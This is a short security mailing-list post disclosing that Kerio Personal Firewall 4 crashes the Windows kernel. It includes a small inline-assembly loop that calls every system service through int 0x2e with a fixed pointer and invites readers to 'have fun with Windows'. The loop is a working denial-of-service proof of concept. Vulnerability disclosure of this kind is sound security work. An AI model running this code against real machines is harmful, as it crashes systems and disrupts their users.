Kerio pf BSOD

[Cesar <sqlsec () yahoo com>]

While playing with this:

_asm{
  xor ebx,ebx
  start:
  mov     eax,ebx
  mov     edx,0x00010001 //writable mem area could be
any value
  int     0x2e
  inc ebx
  jmp start
}

I found that Kerio pf 4 will crash because it seems to
hook IDT but it doesn't check params so there is a
kernel crash. I think this code could also crash other
drivers hooking IDT if not then you can have fun with
Windows. 

Enjoy.

Cesar.


                
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - Helps protect you from nasty viruses. 
http://promotions.yahoo.com/new_mail
_______________________________________________
Dailydave mailing list
Dailydave () lists immunitysec com
https://lists.immunitysec.com/mailman/listinfo/dailydave